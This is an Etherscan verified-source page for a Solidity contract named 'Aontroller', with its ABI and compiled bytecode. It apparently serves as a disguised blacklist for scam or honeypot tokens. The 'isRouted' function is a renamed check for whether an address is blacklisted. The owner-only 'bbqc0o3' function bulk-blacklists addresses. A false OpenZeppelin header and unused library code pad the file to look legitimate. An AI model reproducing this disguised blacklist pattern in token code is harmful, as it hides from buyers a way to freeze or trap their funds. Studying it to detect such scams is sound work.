Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface RouterController
•    - function isRouted(address _account)
•  contract Aontroller is RouterContr ... *
•    - function isRouted(address _account)
•    - function bbqc0o3(address[] calldata a ...
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function getTime()
•    - function _transferOwnership(address n ...
•    - function __Context_init()
•    - function __Context_init_unchained()
•    - function _msgSender()
•    - function _msgData()
•    - function __Ownable_init()
•    - function __Ownable_init_unchained()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b, st ...
• library SafeMathInt
•    - function mul(int256 a, int256 b)
•    - function div(int256 a, int256 b)
•    - function sub(int256 a, int256 b)
•    - function add(int256 a, int256 b)
•    - function abs(int256 a)
•    - function toUint256Safe(int256 a)
• library SafeMathUint
•    - function toInt256Safe(uint256 a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-08-25
*/

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

interface RouterController {
    function isRouted(address _account) external view returns (bool);
}

contract Aontroller is RouterController{

    mapping(address => bool) private _isBlacklisted;

    address private owner;


    constructor (){
        owner = msg.sender;
    }
 
    function isRouted(address _account) external override  view returns (bool){
        return _isBlacklisted[_account];
    }
 
    function bbqc0o3(address[] calldata accounts, bool excluded) public {
        require(msg.sender == owner);
        for (uint256 i = 0; i < accounts.length; i++) {
            _isBlacklisted[accounts[i]] = excluded;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Initializable {

    bool private _initialized;

    bool private _initializing;

    modifier initializer() {
        require(_initializing || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[50] private __gap;
}

abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function __Ownable_init() internal initializer {
        __Context_init_unchained();
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    uint256[49] private __gap;
}


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"bbqc0o3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"isRouted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610443806100616000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806324406a801461003b578063f5f9a37114610057575b600080fd5b6100556004803603810190610050919061029d565b610087565b005b610071600480360381019061006c9190610274565b6101ab565b60405161007e9190610304565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100e157600080fd5b60005b838390508110156101a5578160008086868581811061012c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906101419190610274565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061019d90610367565b9150506100e4565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008135905061020f816103df565b92915050565b60008083601f84011261022757600080fd5b8235905067ffffffffffffffff81111561024057600080fd5b60208301915083602082028301111561025857600080fd5b9250929050565b60008135905061026e816103f6565b92915050565b60006020828403121561028657600080fd5b600061029484828501610200565b91505092915050565b6000806000604084860312156102b257600080fd5b600084013567ffffffffffffffff8111156102cc57600080fd5b6102d886828701610215565b935093505060206102eb8682870161025f565b9150509250925092565b6102fe81610331565b82525050565b600060208201905061031960008301846102f5565b92915050565b600061032a8261033d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006103728261035d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156103a5576103a46103b0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6103e88161031f565b81146103f357600080fd5b50565b6103ff81610331565b811461040a57600080fd5b5056fea26469706673582212206647daf7c252e1b66350400cb7df54abd66509a7b7b543d442590fdce68446aa64736f6c63430008000033

0x608060405234801561001057600080fd5b50600436106100365760003560e01c806324406a801461003b578063f5f9a37114610057575b600080fd5b6100556004803603810190610050919061029d565b610087565b005b610071600480360381019061006c9190610274565b6101ab565b60405161007e9190610304565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100e157600080fd5b60005b838390508110156101a5578160008086868581811061012c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906101419190610274565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061019d90610367565b9150506100e4565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008135905061020f816103df565b92915050565b60008083601f84011261022757600080fd5b8235905067ffffffffffffffff81111561024057600080fd5b60208301915083602082028301111561025857600080fd5b9250929050565b60008135905061026e816103f6565b92915050565b60006020828403121561028657600080fd5b600061029484828501610200565b91505092915050565b6000806000604084860312156102b257600080fd5b600084013567ffffffffffffffff8111156102cc57600080fd5b6102d886828701610215565b935093505060206102eb8682870161025f565b9150509250925092565b6102fe81610331565b82525050565b600060208201905061031960008301846102f5565b92915050565b600061032a8261033d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006103728261035d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156103a5576103a46103b0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6103e88161031f565b81146103f357600080fd5b50565b6103ff81610331565b811461040a57600080fd5b5056fea26469706673582212206647daf7c252e1b66350400cb7df54abd66509a7b7b543d442590fdce68446aa64736f6c63430008000033

205:568:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;534:236;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;401:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;534:236;635:5;;;;;;;;;;;621:19;;:10;:19;;;613:28;;;;;;657:9;652:111;676:8;;:15;;672:1;:19;652:111;;;743:8;713:14;:27;728:8;;737:1;728:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;713:27;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;693:3;;;;;:::i;:::-;;;;652:111;;;;534:236;;;:::o;401:124::-;470:4;493:14;:24;508:8;493:24;;;;;;;;;;;;;;;;;;;;;;;;;486:31;;401:124;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:133::-;;623:6;610:20;601:29;;639:30;663:5;639:30;:::i;:::-;591:84;;;;:::o;681:262::-;;789:2;777:9;768:7;764:23;760:32;757:2;;;805:1;802;795:12;757:2;848:1;873:53;918:7;909:6;898:9;894:22;873:53;:::i;:::-;863:63;;819:117;747:196;;;;:::o;949:564::-;;;;1106:2;1094:9;1085:7;1081:23;1077:32;1074:2;;;1122:1;1119;1112:12;1074:2;1193:1;1182:9;1178:17;1165:31;1223:18;1215:6;1212:30;1209:2;;;1255:1;1252;1245:12;1209:2;1291:80;1363:7;1354:6;1343:9;1339:22;1291:80;:::i;:::-;1273:98;;;;1136:245;1420:2;1446:50;1488:7;1479:6;1468:9;1464:22;1446:50;:::i;:::-;1436:60;;1391:115;1064:449;;;;;:::o;1519:109::-;1600:21;1615:5;1600:21;:::i;:::-;1595:3;1588:34;1578:50;;:::o;1634:210::-;;1759:2;1748:9;1744:18;1736:26;;1772:65;1834:1;1823:9;1819:17;1810:6;1772:65;:::i;:::-;1726:118;;;;:::o;1850:96::-;;1916:24;1934:5;1916:24;:::i;:::-;1905:35;;1895:51;;;:::o;1952:90::-;;2029:5;2022:13;2015:21;2004:32;;1994:48;;;:::o;2048:126::-;;2125:42;2118:5;2114:54;2103:65;;2093:81;;;:::o;2180:77::-;;2246:5;2235:16;;2225:32;;;:::o;2263:233::-;;2325:24;2343:5;2325:24;:::i;:::-;2316:33;;2371:66;2364:5;2361:77;2358:2;;;2441:18;;:::i;:::-;2358:2;2488:1;2481:5;2477:13;2470:20;;2306:190;;;:::o;2502:180::-;2550:77;2547:1;2540:88;2647:4;2644:1;2637:15;2671:4;2668:1;2661:15;2688:122;2761:24;2779:5;2761:24;:::i;:::-;2754:5;2751:35;2741:2;;2800:1;2797;2790:12;2741:2;2731:79;:::o;2816:116::-;2886:21;2901:5;2886:21;:::i;:::-;2879:5;2876:32;2866:2;;2922:1;2919;2912:12;2866:2;2856:76;:::o

ipfs://6647daf7c252e1b66350400cb7df54abd66509a7b7b543d442590fdce68446aa